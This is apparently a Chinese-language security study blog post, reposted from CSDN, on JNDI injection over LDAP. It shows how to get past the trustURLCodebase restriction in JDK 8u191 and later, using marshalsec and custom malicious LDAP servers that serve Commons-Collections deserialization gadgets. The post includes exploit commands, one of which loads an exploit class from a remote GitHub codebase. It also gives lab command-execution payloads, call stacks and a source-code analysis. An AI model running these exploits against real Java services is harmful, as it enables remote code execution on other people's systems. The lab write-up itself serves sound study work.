《JDK 8u191之后的JNDI注入(LDAP)》学习

参考:
8u191之后的JNDI注入(LDAP)

JNDI注入,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执行。

JNDI注入中RMI和LDAP与JDK版本的关系,参考这张图:
在这里插入图片描述
来源:
https://xz.aliyun.com/t/6633

RMI + JNDI Reference利用方式:

JDK 6u132, JDK 7u122, JDK 8u113
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类

LDAP + JDNI Reference利用方式:

JDK 6u211,7u201, 8u191, 11.0.1之后
com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false
(CVE-2018-3149)
目前的方式是搭建一个自定义的恶意LDAP服务端,并设置远程的<codebase_url#classname>,最后指定LDAP服务监听的端口号1099:

java marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer https://raw.githubusercontent.com/shadowsock5/notes/master/#Exploit 1099

然后执行客户端代码,即完成漏洞利用。
在这里插入图片描述
从图中可以看出JNDI客户端中JDK版本对漏洞利用的影响。

这种利用方式的调用栈为:

newInstance:387, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

于是这里作者提出了一种绕过这种防御机制的方法。

绕过JDK高版本限制的JNDI注入(LDAP)方法一

使用unboundid-ldapsdk-3.1.1.jar搭建恶意LDAP服务:
Windows:

javac -encoding GBK -g -cp "commons-collections-3.1.jar;unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java 
java -cp ".;commons-collections-3.1.jar;unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer 192.168.85.1 10388 "mkdir test_by_shadowsock5"

Linux:

javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java

然后执行JDNI客户端:

javac -encoding GBK -g VulnerableClient.java
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10388/dc=cqq,dc=com VulnerableClient o=anything

JNDI客户端使用了1.8.0_201,仍然可以利用成功!说明此方法有效。
这里的原理是

EvilLDAPServer.java自己实现一个恶意LDAP服务,直接操作"javaSerializedData"属性。
在这里插入图片描述

这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要求。

LDAP特殊服务端writeObject:
在这里插入图片描述
LDAP客户端readObject:

在这里插入图片描述
调用栈:

readObject0:1573, ObjectInputStream (java.io) [3]
readObject:431, ObjectInputStream (java.io)
readObject:144, LazyMap (org.apache.commons.collections.map)
invoke:-1, GeneratedMethodAccessor118 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io) [2]
readObject:431, ObjectInputStream (java.io)
readObject:1211, Hashtable (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io) [1]
readObject:431, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

绕过JDK高版本限制的JNDI注入(LDAP)方法二

其实JDK自带的LDAP服务就可以。
先是开启一个LDAP服务:

java -jar C:\Users\Administrator\Downloads\ldap-server.jar -a -b 192.168.85.1 -p 10389 jndi.ldif

然后:

java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com EvilLDAPServer5 cn=any "/bin/touch /tmp/cqq_is_here"

最后开启客户端:

java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com VulnerableClient cn=any

即可完成攻击。
在这里插入图片描述

绕过JDK高版本限制的JNDI注入(LDAP)方法三

执行步骤与之前一致:

javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilLDAPServer6.java
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com EvilLDAPServer6 cn=any "/bin/touch /tmp/cqq_is_here_by_EvilLDAPServer6"

然后启动客户端:

java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com VulnerableClient cn=any

在这里插入图片描述

总结传统LDAP与绕过高版本JDK的LDAP的JNDI注入(javaSerializedData)的区别

两种利用方式前期的调用栈是一致是:

c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

jdk1.8.0\jre\lib\rt.jar!\com\sun\jndi\ldap\LdapCtx#c_lookup(Name var1, Continuation var2)中调用:

Obj.decodeObject((Attributes)var4);

跟进Obj.decodeObject()方法:
在这里插入图片描述

传统的LDAP的JNDI注入方式下

LDAP服务端下并没有设置
javax.naming.directory.BasicAttributes对象的javaSerializedData属性,
于是进入最后一个else逻辑:
返回decodeReference()的结果
赋值给var3
然后调用:

javax.naming.spi.DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);

然后调用:

javax.naming.spi.NamingManager.getObjectFactoryFromReference(Reference ref, String factoryName)

跟进,

clas = helper.loadClass(factoryName, codebase);    // 载入从codebase中的指定的类
clas.newInstance();                                // 调用该类的构造器,执行恶意代码

绕过的LDAP的JNDI注入方式下

由于特制的LDAP服务端通过ObjectOutputStream#writeObject()
写入了javaSerializedData属性,
于是在关键步骤下进入了第一个if逻辑中(如果有这个javaSerializedData属性,则会对其进行反序列化),
执行了

deserializeObject()

然后各种ObjectInputStream#readObject()
进行反序列化操作,这里利用CommonsCollections7链完成了RCE。

高版本JDK对LDAP的限制方式

com\sun\naming\internal\VersionHelper12#loadClass(String className, String codebase)

在这里插入图片描述
会对系统属性com.sun.jndi.ldap.object.trustURLCodebase的值进行判断,这里将其值设置为false,所以在loadClass的时候会返回null,导致无法加载远程codebase。
在这里插入图片描述
而进入loadClass所在的位置是:
在这里插入图片描述
而我们的绕过这个loadClass检查的利用方式是在这里

deserializeObject()

F7就完成了的。
在这里插入图片描述
当然,与传统LDAP的JNDI注入利用方式不同(加载远程codebase的class,调用静态代码块或者构造器),这里绕过方式的利用原理由于其实就是反序列化,所以利用条件是:受影响的服务端(JNDI客户端)存在gadget链。

环境:
https://github.com/shadowsock5/JDNI-Bypass-JDK-By-LDAP

猜你喜欢

转载自blog.csdn.net/caiqiiqi/article/details/105951247